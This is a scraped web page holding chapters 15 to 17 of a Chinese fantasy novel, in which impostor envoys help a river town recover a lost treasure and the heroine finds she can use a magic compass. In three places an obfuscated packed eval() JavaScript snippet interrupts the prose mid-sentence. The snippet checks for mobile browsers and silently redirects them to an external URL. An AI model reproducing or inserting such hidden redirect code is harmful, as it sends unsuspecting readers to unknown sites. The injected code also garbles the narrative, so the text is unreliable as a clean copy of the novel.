海生的发梢仍挂着水珠，衣服却是干爽的。他挠了挠脑袋，说道：“使者大人没与各位大人说吗？他与大人还有要事须商议，正使大人不妨再稍等片刻，若没什么事，我再陪大人回去。” 几人无法拒绝。 海生把他们领到维系巨网的长杆旁，解释一通，什么入水无迹，什么勘量方位，许巧星听不太明白，不懂装懂地频频点头。 河中有两艘木船，不少人如饺子下水般往里跳。 浮上来的人探出身子，先将东西交予船上人，等打捞物摆满一张布后，船上的人便划船靠岸。 海生说道：“宝物丢失时间过久，灵力外溢严重，如今整条河的河水充斥着浓郁的灵力。使者皆以灵力细细观察，若不先等水晒干，极难分辨出来。” 难不成宝物会改变形状？还是说，使者也不知道宝物到底长什么模样？眼下情形不像是“找回来”，而是“发现”宝物。 许巧星来不及多想，海生讪笑：“往些日子，水里头的鱼都比之前重了不少，肥美鲜嫩。使者带来的寻物鱼迷了方向，我们捞起时竟有足足十六斤。甚至，此时罕见的桑窃也飞来此地。我们先前误以为今年收成极好，使者来后，才知晓是宝物的缘故。” 如此神乎其神？ 一艘船破开水面，向他们靠近。 船头放了一个篓筐，船上人提起套在边缘的布，用手一拢，将那个简易的布袋递过来，海生上前迎接。许巧星等人也走上去搭把手，他们小心翼翼地接过布袋，缓缓放在身边的晾晒架上。 里面仍然是一些石块和碎片，左右打量，实在看不出有奇珍异宝之态。 海生把物件摆平整，叹了一口气：“因为实在找不到，使者大人后头说，这件丢失的宝物或许能化形。”他抬起头，看向冒牌正使，“正使大人目光如炬，不知是否能将它们去伪存真？” 许巧星猛一愣怔，反应过来，回他：“这水还没干，可不好分辨。” 郝乐宁生怕海生找来已经晒干的物件，忙不迭说道：“我们不敢抢功，更何况并不精通此道。此番前来，是为协助视阅，不好擅作主张。” 海生颔首，面露愧色。 他们站在河岸，等着下一艘船的到来。反复三趟，几人陷入了沉默。 海生挺着腰杆，直视河面。他沉声问说：“敢问，王都可否因此事久不复命而急躁，所以特派各位前来相助？” 郝乐宁看着海生脸色，斟酌语言：“倒也并非急躁，只是此事……”她言语轻描淡写，“我们听命而来，哪敢擅自揣测上意？” 海生彬彬有礼地作揖：“我久居于穷乡僻壤，言辞中若有冒犯，还请见谅。正使大人可见，我们勤勤恳恳于此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988145|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，未敢懈怠一日。虽宝物仍未找回，但并非是我们在此事上不尽心所致。还请正使大人不要误会。此事得各位大人的庇佑，相信宝物必定很快找回。” “哪敢误认此地之人好逸恶劳？大家言行所为，有目共睹。你们暂且放心。” 海生与郝乐宁又客套了两句。等海生一转身，许巧星和司机向郝乐宁投去佩服的眼神。 许巧星深呼一口气，莫名感慨。 几人围在海生身边，意图打听出更多消息。他们意外得知宝物原是孚安看守不慎，而被贼人擅闯禁地窃取，孚安来此地寻宝是将功折罪。眼下最紧迫的人应该是他。 许巧星想知道，宝物“灵力外溢”导致的异状，和他们所乘坐的公交车闯入这个世界，有没有牵扯？ 她的鞋子轻微陷在沙土中，鞋底与纤细的草擦出细碎声响。大河明亮澄澈，时不时传来哗啦水声，微风拂面，若是寻常河边漫步，是自得其乐的。可许巧星牵肠挂肚着回家一事，无心去欣赏美景。 许巧星看见有使者抬着箱子，往木台子上走，似乎是要带去给孚安检查，不知能否得偿所愿？ 她驻足停留，使者此次运气显然不佳。孚安摇头，片刻后，那个箱子再次被搬了下去。 郝乐宁仍在和海生扯闲话，许巧星见没人管自己，便四周转了一圈。可惜一无所获。 她回来时，正听见郝乐宁问海生：“倘若用这个法子一直找不到，那你们打算怎么办？” 海生答：“孚安大人用法阵去断河引水，望不至于此。” 许巧星一听这所谓的“断河引水”，不免困惑。他们这个地方没有电，更没有抽水机，不知道是怎么抽水？可抽水又可能会破坏河床，对那些靠山吃山、靠水吃水的白沙镇居民来说，这是下下策了。 日上三竿，水面洒满金光，看久了，刺得人眼睛生疼。河岸边没有树荫遮挡，许巧星在太阳底下站着，出了一身薄汗。她不知道孚安的要事商议，到底所为何事，站在岸边等待时间越久，越令人心神不宁。 许巧星焦急地来回踱步。不是说有要事商议吗？这孚安速度也太慢了点。总让人有一种不好的预感。 虽然想看到宝物的真面目。但这事摆在眼前，显然是一个大工程，短短几日很难完成。等到白沙镇人顺利把宝物打捞出来时，说不定真正的正使已赶到，那他们这群冒牌货千真万确要被下牢狱了。 小命要紧。 她拉了郝乐宁一下，说了一声。郝乐宁点头，几人一合计，决定不等孚安，下午打听清楚消息后就前往羽冠城。 趁着夜色，收拾包裹一走了之。 走了之后，他们可以另寻一个安全的地方，再去打听宝物的消息。如此重大之事情已经闹得周围几个镇的人都知道了，想必日后是可以打探明了的。另外，那座神秘的红塔，既然与宝物相干，也要一并调查清楚。 可正当几人与海生告辞时，孚安领着他的白鸟走了过来，面上凛然，收起一贯保持的亲切浅笑。 15. 第 15 章 许巧星看见孚安是少有的正容亢色，第一反应以为孚安发现了他们是冒牌货。 烈日当空，顿时吓得手脚冰凉，仿佛孚安背后跟着千军万马，肃杀声隐隐传来。有人高声判他们一个“冒充朝廷命官之罪”，要将他们枭首示众。 孚安没发现他们的真实身份。可从他口里说出的话，对冒牌货而言，大差不差。 白色鹦鹉叫了起来：“请正使大人施法寻觅宝物……” 她没听清白色鹦鹉接下来的说话内容，什么“在水中腌入味”，什么“时间急迫”，最先前的一句不停地在脑海里回荡，层层叠叠，震耳欲聋，几乎把她撞晕。 许巧星瞠目结舌，一时间说不出话。 鹦鹉歪着脑袋，漆黑的眼珠盯着许巧星：“正使若能相助，俺会感激不尽。” 可！我们是冒牌货啊—— 你们昨天还信誓旦旦地说不需要帮助吗？怎么今天就麻利改口了？ 一行人愣在原地，焦头烂额，内心只恨没有早点溜走。他们从没见过法术，更不知道法术的门朝哪个方向开，何德何能去施法帮忙？ 海生得到其它吩咐，已去忙活。 “俺方才算上一卦，正是上乾下离，天火同人，此事必将有贵人相助。”一大串诘屈聱牙的话语从鹦鹉口中说出，绕得人晕头转向，十分别扭，“还望正使施法相助，观其灵力，寻回丢失的圣物。” 可再拗口，大家也听明白了最后一句。 他们彻底傻眼了。 没想到这正使的排面充不了两日，就要被冰冷的现实被击个稀巴烂。 许巧星立在原地，呆若木鸡。 这……要怎么帮？他们一无所知。在这个世界，他们几人就是彻头彻尾的文盲，比咿呀学语的婴儿的知识量好不到哪去！ 许巧星甚至不明白灵力是什么，看不见摸不着，这般虚无缥缈之物，她只在屏幕上见过别人演过，全是后期特效。若要她强行指认，恐怕只能在一众杂物中瞎猜。 可…… 郝乐宁往前站了半步，率先说道：“不是说很快就能找到吗？那就无须我们再动手了。”许巧星站在她背后发现，郝乐宁背在身后的手在微微颤抖。 孚安面露难色，不过未多解释。白鸟说道：“情况紧急，正缺人手。正使大人勿要让功，劳烦相助。” 这番话，不好回答。 倘若再不肯，使者必然起疑。可若是找错了宝物，也难解释。 已是进退两难的局面。 许巧星环顾四周，心急如焚。郝乐宁还想再托辞，司机只差抓耳挠腮，陈哥面色惨白地立在原地。再这样下去，真会露馅。 她拉一拉郝乐宁的衣袖，郝乐宁转身，许巧星朝她耳语。 孚安见状，往后退了几步，以表避嫌。 “这使者在白沙镇呆了那么多天，不也是没有找到宝物的踪迹吗？我没看见他们用了什么法术，不过是睁着眼挑，倒不如先蒙过去，晚上再找机会跑了。”她忧心孚安仍能听见，不想出现在仓库被抓包的情况，说的还是不熟练的家乡话。 郝乐宁拧眉，使眼色：“可万一真碰到了宝物，我们认不出，不好解释。” “让我去。”许巧星咬紧牙关，下定了决心，“我年纪最小，就算说错了也有理由混过去，你们就说我是出来锻炼的。更何况，他们自己都不知道宝物什么样子，我就算说了，他们要认出来也需要花时间。” 郝乐宁认真看了看许巧星的脸，又问道：“你确定？” “再拒绝下去，就不像样了。” 郝乐宁思考过后，颔首。她回过头，与孚安说话时换了一副辞严义正的语气：“我的妹妹自荐，那就让她来试试手，我们带她出来本就是打算历练历练她。” 孚安没有意见。许巧星心头划过一丝微妙的感觉，这孚安先前说要人帮忙时，眼睛似乎正盯着她，就好像原本……她晃晃脑袋，她与孚安没说过几句话，也许是错觉吧。 孚安摆了一个“请”的手势，脸上露出恳切祈求的神情。 许巧星手脚僵硬地跟在孚安身后，另外三人紧随其后。她心中正打算挑几个顺眼的物件，再拖些时间，咬定无事发生。 她忍不住瞎想，要是自己挑出来那只布鞋，这使者会有什么反应？暗自好笑。 可自己眼下只敢苦中取乐地偷想。 她跟随在孚安后面，盯着孚安领着自己路过了一个又一个晾晒架，丝毫没有驻足停留的打算。 许巧星隐约感到不妙。 只见孚安径直往那座木台架的方向走去，这两三层楼高的台架下站了五六位金袍使者，齐刷刷地对他们行注目礼。 许巧星收回目光，硬着头皮往前走。 难道是海生说的“断河引水”吗？倘若是喊她一起行所谓的“断河引水”，她可以如同班级大合唱那般，混在里面小声哼哼，还是坦言说自己没学过？ 郝乐宁趁着孚安不注意，轻声对许巧星说道：“我们撑过这一下，见机行事。就算……就算有什么，他们一时间也不会对我们怎么样。” 司机皱眉：“这地方真呆不下去了，我们晚上就走。” 就连陈哥也忍不住叹气：“你……不要紧张。” 许巧星咽了一下口水。 孚安手上的鹦鹉扑扇翅膀，向许巧星高声嘎嘎叫了起来。 她这才搞清楚，孚安是要自己去拿一个设备去找丢失的宝物，这设备类似金属探测仪。孚安相信，这台仪器在正使大人的手里，一定会脱胎换骨般展现神通广大，寻找宝物一事必然迎刃而解。 许巧星不知道那个仪器会不会脱胎换骨，但她非常清楚，自己在露馅之后肯定会伤筋动骨。 “你先让我旁观一下。”她对孚安喊了一声。 孚安同意了。 这段路最多不过百米，但她度秒如年。许巧星犹有芒刺在背，当机立断，决定一会儿要记住孚安的动作，依葫芦画瓢，学着大致做一遍。 她再乱猜一个水深的位置，由他们去找。 白沙镇的人潜水去找宝物更耗费时间，再风驰电掣，也不可能马上找到。 到了木台架上，风变大了，吹得许巧星起了一胳膊的鸡皮疙瘩。 最前方有一张齐腰的四角木桌，桌角有一个小香炉，中间摆有一沓纸上，纸面极大，最上面的纸上画有大大小小几层圆形，环环相套。 台子上除孚安外，只有一位金袍使者。那人端水盆，恭敬地迎上孚安。等孚安在水盆内净手，再端来毛巾，让孚安擦干水。 孚安示意许巧星去桌子前看卦。 许巧星挺直背，独自走上前去。她看见几根棍子摆在桌上，一头雾水。自己对算卦是一无所知，只好煞有介事地来回扫视，装个样子。 她估摸着看够了时间，余光瞥见孚安擦完了水，便让出桌前的位置。 端盆的使者站在桌子另一侧，对许巧星露出一个笃信的笑容，仿佛在说“看吧，卦是这样写的，你就是那个贵人”！ 我不是，我没有。 许巧星无措地站在一旁。 骤然，孚安手上有了动作，许巧星定睛一看，顿觉大事不好。 孚安捧起来的探测仪——是一个暗铜色罗盘。 罗盘正面有三针三盘，侧边细致刻着一圈金色文字，在阳光照射下反射出一抹金属的亮光。他旋即双手持稳罗盘，放在腰际稍微靠上的位置，对准前方大河，口中不断念着晦涩难懂的长句。 空气凝重，似乎停滞不前。 风停住了。 许巧星哑口无言，张开嘴，却连惊呼声也不敢发出来。 孚安念咒声空灵，手中的罗盘指针微微轻动。远处河面哗哗水声变得沉闷而模糊，好似隔了一层膜。 半晌，孚安周围那股奥秘微妙的气场消散。他看了又看罗盘，走到桌前，提笔在纸上勾画，竟是把罗盘上面的指针指向画了出来。 他郑重地将罗盘正摆于桌上，罗盘恰好与纸最中间的圆重叠。 一道夺目的金光乍然从罗盘上涌出，缓缓地流淌至纸上，沿着笔迹蔓延，在孚安最后收笔处停留。金光持续了半分钟，随后渐渐融化为点点微尘，于空气中散去。 过了一会儿，孚安端详罗盘并颔首，转过身，朝许巧星礼貌一笑。 白鸟站在栏杆上大叫：“请正使大人！” 可这温和笑容和寻常鸟叫在许巧星眼中竟是如此令人胆战心惊，宛如吹响了夺命的号角。 她倒吸一口凉气，正迟疑。 这玩意说不会是真不会！她想装也装不出来啊！ 她刚想开口，被自己的口水呛咳得撕心裂肺。司机见状高喊，正使嗓子不舒服，要先喝水休息一下。 “别忘了！”郝乐宁提醒，“净手的水也要换掉，再端来一盆。” 陈哥也接了一声：“毛巾，纸笔也换过新的。” 他们三人将咳嗽的许巧星围了起来，给许巧星拍背。 一旁端盆的使者闻言，低头往后退，正转身。可司机往这边走得急，没有为使者让开路，肩膀竟然撞得使者一踉跄。 司机想去扶，却为时已晚。 使者手中水盆脱手，铁盆落地，发出哐啷一声。而盆中的水，则大半泼到纸上，湿了个透。 那位端盆的使者惊慌失措，忙不迭说话，大 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“肯定他自己解决。谁弄丢的，谁来找啊。”郝乐宁抱怨道。 “他们不会让我们走的。” “那你说怎么办？” “我不会用那个探测器，我也不能在纸上发出金光……”许巧星本以为穷途末路，可说着说着，灵光乍现，两眼刷的冒光，“但是，现在没有纸了，他们的纸湿掉了。我赶在他们的备用纸送来之前，乱说一下位置。” 司机急了：“你傻啊，你根本不会念咒啊。他刚才说半天的稀奇古怪的话，你哪里会念？” “可是已经答应他了，再反悔未免让人莫名其妙，更不好脱身。” “问题是，你根本不会念咒。难不成你要告诉我们，你家里是干这行的？” “我不念咒。他是使者，又不是正使，必然大相径庭，他才来找我们帮忙。小说里，什么法术啊武功啊，越高深，越让人察觉不出迹象。”许巧星此时反而冷静下来，脑子越转越快，“你们挤过去，和他说话，干扰他。这人肯定不好意思不回答你们。” 她又轻又快地说：“我刚才站得近，还记得他在纸上点的位置，我就装神弄鬼，往那个方向笔画个差不多的。他画过的那张纸也还挂在旁边，我可以偷偷瞟一眼。面子上糊弄过去，然后我们马上走。呃，就说我施法累了。只有这样，我们才能从这里脱身。” 三人注视着许巧星，没说话。 “怎么了？”许巧星不自觉地缩了一下脖子。 陈哥皱眉：“风险太大了。” “就应付一下，应该可以。”郝乐宁若有所思。 司机叹了一口气：“看不出来，你胆子挺大的。”他继而咧嘴一笑：“不怕。要是最后实在不行，我们就绑了孚安逃出去。” 郝乐宁怒气冲冲地瞪他：“这时候，别开玩笑了。” 司机一摊手，吊儿郎当地说道：“我可没开玩笑。万一真到了那要命关头，我们这么做才能逃掉。” 郝乐宁说不出话了，陈哥斥了一声司机：“你不要现在说这个，没到那个地步。现在说出来也是净吓唬人。不要把她给吓到了。” 可许巧星或许是骨子里暗藏叛逆，听到这话，知道留有后手，竟然莫名感到安心。 只是对不起孚安了。 “那我抓紧时间。” 许巧星深呼一口气，做好心理准备。她从同伴中间站出来，对孚安高声道：“现在来吧，但是我才疏学浅，不能保证能找到。” 白鸟叫了声：“净手的水还没烧好。” 许巧星佯装高人风范，甩了甩袖子，轻描淡写：“一些不足挂齿的小事。” 孚安微微一笑，朝许巧星行礼，退开几步，为她腾开位置。 许巧星站在桌前，回头一瞧，孚安隐隐约约被同伴包围起来。 他们不能让孚安发现端倪，必须挡住孚安的视线。 许巧星突然想到司机说的那句“绑了孚安逃出去”，呼出一口气。 而作为“待绑架对象”的孚安对此毫无知觉，左右应付冒牌正使。许巧星还看见郝乐宁偷偷对自己竖起大拇指，比了一个加油。 许巧星闭上眼，又再次睁开，向前踏出一步。 她像是一位用作弊通过分班考试的差生。老师在课堂讲试卷，差生不幸被点名，去黑板上写出试卷上的答案。 差生对此两眼茫然，不能说不会，可是偏偏答不出来。 不过，这是一道连老师也不知道正确答案的风水题。 16. 第 16 章 许巧星一直以来是一个普通人。 她的日常极其平凡。上学、回家、写作业、做家务、睡觉……日复一日，年复一年。 很小的时候，她也曾蹲在电视剧前，守着到点必播的动画节目，津津有味地反复咀嚼精彩片段。 长大之后，她一边盯着窗台边的小蚂蚁，一边托腮异想天开。咖啡色的窗帘被风吹动，鼓起小小的帆，许巧星的思绪乘船飞走，脑海里是不切实际的幻想。 这是一种平静的幸福。 她曾经梦见母亲没有生病，她还拉着父亲让他那天不要出门上班，她双亲俱在，还把奶奶接过来一起住。很完美。 可是对许巧星来说，世界上没有如此完美的事情。她知道世界上没有奇迹，没有法术和魔法。她一天天长大，虽然失去了血亲，但是她仍然在一个充满爱的家茁壮成长。 她拥有一个属于自己的普通幸福。未来，她会将这份幸福持续下去。她会按班就部地考上大学，毕业后找一份工作，在社会上成为一个能立足的人，对奶奶尽赡养义务。 直到那辆公交车把自己带进了不可知的未来—— 而此时此刻，许巧星仿佛不再普通，她真的拥有了一份奇迹。 她在桌上拿起罗盘，罗盘分量不轻，触感冰凉刺骨。她学着孚安的姿势，双脚打开齐肩，站定，微微颤抖的手把罗盘放在胸腹之间，然后—— 朦胧之中，她听见了一句极长的雌雄莫辨的吟唱声，霎时，万物的声音与她隔绝开来。 许巧星双手各四指托下罗盘下方，虎口卡在罗盘边缘。触及罗盘的肌肤，能感受到罗盘传来一股莫名的感觉，它沿着手臂向上，风驰电掣般钻进身体里，流淌在全身上下。 她猛一愣怔，时间似乎变慢，她霍然发觉自己能感受到四面八方的气息。 整个世界静默无声。 她缓缓阖眼，却能一览无遗。 她脑海里浮现出一个深邃神秘的场景，如同置身天上广袤无垠的星河之中。周围的光团大小不一，它们从远至近地星罗分布，流光溢彩，光怪陆离。 在许巧星毫不知情之时，罗盘天池中的指针凭空翻针，旋转，摇晃，旋即指针渐渐平稳，指向一个方向。而置身星河的许巧星打心眼里坚信，在那里的某一深处，有一种不同寻常的存在，它的生机如太阳般光彩耀目。 稳定的指针与许巧星的意识不约而同地指向一处。 一目了然。 她鬼使神差地抬起手，指向河面的一处。 在那里，有一个光团，虽然很小，但是格外明亮耀眼。它周围的光团连片成云，将其簇拥在中间，与之光晕交融。 那小光团时上时下，摆动不定，甚至在绕圈游动，就好像……是一条鱼！ 她心下惊愕，却莫名胜券在握。 许巧星猛地睁开眼。她立马对着一旁的孚安大喊：“在那里！就在网的左边！宝物化形成了一条鱼！”光团的气息在她睁眼的瞬间晃了一下，就像水中倒影被一阵风扰乱。 孚安颔首，看起来毫不意外。他对许巧星恭敬地行了一礼，疾走如飞般离开台子，前往许巧星指着的那个方向。 作弊的学生在黑板上瞎蒙，一顿乱写，居然真找出了正确答案。 日悬中天，许巧星却一点也不热。她听着人声水声，望着远处重峦迭嶂的绿色起伏，万物似乎都变得清晰和崭新。 她顿时头晕难捱。那片星河在脑内炸开，千万朵烟花同时怒放，留下濯濯余晖。 这是……法术吗？ 她身形一歪，被同伴搀扶住。 郝乐宁抓着许巧星的手臂，用一种很飘忽的声音问：“真的假的？你装的吗？演技未免也太好了吧？还是说，你真……” 司机笑了：“哟，反正骗到那个人了。现在他可不在，我们抓紧时间赶紧走，别等一下又被逮住了。” 陈哥摇头，一向平淡的声音也带着惊讶：“我看她是真头痛，刚才差点要摔倒。” 许巧星这才发觉罗盘仍在自己手上，手腕再也支撑不住，一抖，罗盘咚得一声跌回桌上。 脑海中的光芒逐渐黯淡，一切重回正常，可那种深奥微妙的感觉似乎停留在心里，意犹未尽。 许巧星张了半天嘴，才找回自己的声音：“我好像是会用……我不知道，我以前从来没接触过。” 她想再摸一下罗盘，司机却先拿到手中：“你真会？这玩意有这么神吗？让我看看？”他学着动作，停了两秒，又大叫，险些把罗盘打翻，“什么鬼？” “怎么了？”郝乐宁忙不迭问他。 “你自己看。”司机把罗盘递给郝乐宁。 郝乐宁松开许巧星，接过罗盘。半晌，拧起眉头，一脸复杂地把罗盘放在桌上。 陈哥沉默地拿起来，照做，继续沉默。 四人面面相觑，一时间无话可说。 天赋，天赋。那不知何处而来的天赐般的大奖。 “这……”许巧星瞪大眼睛，“不会我们都能看见吧？” 陈哥道：“我先来说一下，就好像在一个黑色的房间里，能看见地上有几只发光的虫子。” 许巧星抽动了一下嘴角。 郝乐宁神情恍惚：“……好多光，密密麻麻的，密恐人看了想吐。而且我自己身上也有这样的光。”她扭过头去看陈哥，“你说的不会是我们几个像虫子吧？” 陈哥若有所思：“可能吧。” 司机一脸无奈：“别用这种比喻。我看见的就好像是普通夜空。不是野外高山看见的那种，是城市里的。” 许巧星难掩兴奋，斟酌语言：“我们都有什么法术天赋吗？这算什么？”她自问自答，“给我们的补偿吗？” 郝乐宁说：“我从来没想过自己能使用法术，好吧，我也没想过我能穿越。” 司机不知道想到了什么，神情一下子变得兴奋起来，语无伦次：“我看电视剧里面的修仙，说不定这个世界可以，那我们岂不是可以……呃，当神仙？我们难道是什么百年难能一遇的天才吗？说不定可以搞一个神仙当当。” “这可一下遇了四个。”郝乐宁笑他。 恰好有一个有点眼熟的白沙镇人来喊他们下去。他说，刚刚把鱼食洒下去了，使者来请他们一起下去等。 “还跑吗？”司机挑眉。 许巧星拍拍脸颊：“不跑了，不跑了。我们先下去看看再说。”她犹豫几秒，还是决定抓过罗盘，一同带去。 河面极其平静。原本在忙碌的人都停下自己手中的工作，大家分开站在两岸，撒完鱼食的人方才支船靠岸，木船晃晃悠悠地摇起一片波纹。 孚安站在最前面，其余人看见许巧星等人，从中间分开，让出一条路。 他衣袍飘飘，已将许巧星的演算结果记在心中，眼神凝重，望着水下的一大片逐渐聚集的鱼影。 孚安必须将宝物全须全尾地带回，否则他罪无可恕、死有余辜。不止是王都会对他降下罪罚，他自己也无以承受，万死不能谢罪。 不久之后，水中鱼群翻滚，争先恐后地抢夺鱼食，卷起泥沙。 孚安让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们露出水面，大笑着把手中的网高高举过头顶，网中有一条鱼在挣扎翻动。 成功了！ 使者仍然不敢懈怠，手持符纸在原地不动，光柱继续维持着。而其他人已在雀跃。 许巧星紧张多时，被热烈的气氛所感染，也激动地与郝乐宁抱了一下。司机高兴地连说几个“好”字。就算是陈哥，嘴角也有了弧度。 河中间的人正往岸边游，已有人等不及了，便划船去接。 他们被人群簇拥着上了岸，有人牢牢抓着那条鱼，立即有人抱来一个装了水的木桶。大家迅速把鱼从网中取出，放进桶里，溅起一朵大水花。 使者们这才收了光柱，走上前去瞧。许巧星站在最前面，“宝物”在水桶里不停地转圈。 这条鱼不足三寸，通体银白色，可细看能发现它的鳞片边缘闪烁幽蓝的微光。 总体来说，没有什么一看就很明显是“宝物”的不同凡响之处。 是它吗？ 许巧星又有点不确定了，正准备再次使用罗盘，却被孚安举臂拦下。 他看出许巧星已筋疲力尽，轻轻摇头，自己拿过罗盘。倘若眼前这条鱼便是宝物，此刻放在眼前，他肯定可以辨认出来。 片刻后，孚安笑着点头，神色不再紧绷。 人群再次爆发出欢呼喝彩声。 许巧星一行人被许多人拉着，他们反复感激并夸奖，说得许巧星满脸通红。 孚安低头看着水桶，一直压在他身上的愁云终于散去。他幸不辱命，离开王都后第一次彻底放松下来。 鱼被人群声音所惊，似乎感到不安，甩了甩尾巴。 17. 第 17 章 不知不觉已过晌午，雀跃欢呼声在河岸久久未停。有人兴冲冲地跑回镇上报喜，一溜烟没影了。 海生头上搭着干毛巾，蹲在水桶旁看。孚安则在与两名使者轻声讨论着什么，时不时回头看一眼鱼，生怕这鱼一不留神就没了。 有人挑着担子送来午饭。原本凑在一起的人群排好队，拿上碗筷，盛上饭菜后，找个位置或站或坐，闲聊打趣。说到兴头上，竟有人挽袖跳舞，周围的人纷纷喝彩助兴。载歌载舞，其乐融融。 许巧星端着一碗饭，坐在一张小板凳上。方才催动那张罗盘，耗神费力，对她消耗极大。先前神经紧绷，故不觉饥饿。但眼下一放松，便感到四肢无力、饥肠辘辘，埋头风卷残云般连吃三大碗。 吃完唱毕，大家要忙活起来了。 在河岸两侧，有人爬上杆，小心拆网。 许巧星低头打量“宝物鱼”，可她左右看不出名堂，只好作罢。 大河上的那面网巨大无比，是用锁套牢牢固定在两岸长杆上，有人如同杂耍一般攀在杆上，单手解绳子。旋即大网耷拉下一部分，待完全解开一边后，网塌了形，几乎要水流冲走。三两人跳入水中，把网拖上岸，再去解开另一边的锁套。 白沙镇的人快手快脚，此呼彼应，干练极了。 “就是这鱼？那它怎么不变回去？”司机把手放在水桶边缘逗它，鱼在水里翻动两下，司机躲闪不及，被甩了一脸水珠。 郝乐宁捧腹大笑，陈哥也忍不住面带笑意。 孚安与使者议完，另外两名使者行礼告辞。而孚安走了过来，喜上眉梢，手臂上的鹦鹉忽然振翅说道：“这是大家的功劳，这些日子连夜辛苦。眼下暂且无法让鱼变回来，须回老家再议，故而要抓紧时间，速速将宝物护送回去。” “你们什么时候走？”海生问。 “今天。” 这回答让众人一愣。没想到这么快。 “有要紧事。” 孚安面朝大家，深深一揖，“承蒙多日殷殷相助。”那只白色的鹦鹉叫了起来，海生站起身回了一礼，笑了一下：“我去给你们准备送行宴。” 孚安笑着摇头。 许巧星盯着那条吐泡泡的鱼，突发奇想，脸色几经变化。她犹豫一下，仍问出了口：“幸好这鱼没被打捞起来吃掉。若鱼被吃掉了，那宝物是没了？还是说，分食了鱼的人，会变成新的宝物？” 孚安闻言，脸上的微笑僵住了。 她不察，顿了几秒，接着说：“有没有可能是鱼先把宝物吃了，所以它就成了新的宝物了？” 孚安笑不出来了，面如土色，痛苦地闭上眼睛。 海生见状，忙不迭出言安慰孚安：“不过是随口猜想，王都定有办法将鱼变回去。” 郝乐宁打断了许巧星，许巧星这才发觉自己一时说错了话，孚安正欲哭无泪。于是干巴巴地补充：“我胡说的，宝物肯定没事。” 孚安说不出话，给自己顺气。 远处忽起骚动，原是有使者竟驱来一辆精致的兽车赶来河岸。 先前在缓坡草坪上见过的似马似虎的奇特动物，正被套在缰绳上，驱在车前头。 一位使者下车，车厢内腾出较大空间。他与海生一同小心翼翼地把水桶搬到一个大空箱子内，往旁边空隙里满满当当地塞上衣服和碎布，以防山路颠簸，水桶被碰撞损坏。 使者驱车回镇。但孚安没有上车，而是跟着他们一起步行回去。 树林郁郁葱葱，虫鸣鸟叫婉转，小道蜿蜒曲折。许巧星估算一下兽车体型，是走不了这山间小路的，估摸着这附近另有一条大路。 海生走在最前面，娓娓道来。 他们若是早些时候来白沙镇，山间姹紫嫣红，枝头挂着嫩黄色的小花，漫山遍野的清香。风大点，人走在林子里，四周会纷纷下起花雨。眼下花落得差不多了，树上结了果实，那果子酸甜，讨孩子喜欢。而他们会拿果子来酿酒，要现摘，然后当天就要装进罐子里密封起来，不然果香会变淡，酿出来的酒就没那股奇香了。 等入秋后，鱼胖蟹肥，山间又有了新的果实与新的花，是一年收成最好的时候。要是入冬，山里飘雪，上下一片茫茫银白。可大河不会结冰，水下甚至比外面暖和，因此会去河里耍水嬉戏。而在水底石缝中也有淡蓝花朵绽放，柔软的花瓣轻轻在水中摇曳，甚是动人。 由于白沙镇居于深山，唯有河岸附近有大片空旷的草地，孩子们总喜欢往河边跑，或在浅水区抓虾摸鱼。大人们白日正经打渔种地，忙完就去做点自己喜欢的闲事，老人们则在这片土地上信步而走，悠闲度日、颐养天年。 绝大多数的白沙镇人，就是这般在山环水绕的地方无忧无虑地长大，又安闲自在地度过成年后的时光。 司机忍不住感慨一句：“你们这里环境真好，适合养老。” “那可不。我们白沙镇的山水养人啊。”海生颇为骄傲地笑了一下。许巧星看见这似曾相识的表情，发觉这与日出别无二致。虽然日出对外面的世界饶有兴趣，但每当日出说起白沙镇，她也总是会露出这样的神态。 看起来，白沙镇是一个非常幸福的地方。 司机又夸赞了几句，海生失笑，让他们日后若有闲暇功夫，再来做客。 司机没答，又问他：“你们在这儿最长寿的老人是多少岁的？” 海生答：“刚过双稀之年。” 司机不懂什么意思，偷偷问郝乐宁。郝乐宁告诉司机，司机脸上若有所思。 孚安把手掩在袖子里，路上一言不发，脸上挂着浅笑。鹦鹉落在他肩上，脑袋歪了歪，黑豆般的眼珠盯着主人。 “你们要是过得惯山里的日子，留下来可别走了。”海生露出洁白的牙齿，打趣道，“我这个里正是临时被选出来的，你们要是留下来，就给你们当了。” 一路上谈笑风生，有一搭没一搭地扯着闲话，很快回到庭院。 庭院内的桌椅已被搬走。许巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988148|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星可以看见小屋内外有使者不停忙活，院内有不少人前来贺喜，还送来干货特产。 他们看见这一行人，均热情地围了上来。海生向前一步，孚安立在人群中颔首行礼，鹦鹉已经被吓飞，即使语言不通，他还是用吟唱的神语一一道谢。 许巧星回屋。郝乐宁让她收拾行李，可许巧星也没什么需要收拾，那个松松垮垮的书包，笔记本和两件换洗衣服，这就是她的全部家当。 “我们也得趁早走，换过身份去羽冠城。”郝乐宁揉了揉眉头，“许巧星的确是找到了宝物，他们不会再怀疑我们。先跟着他们的车一起出山，再找个地方和他们分开。” 没人有意见。 郝乐宁匆匆出门。 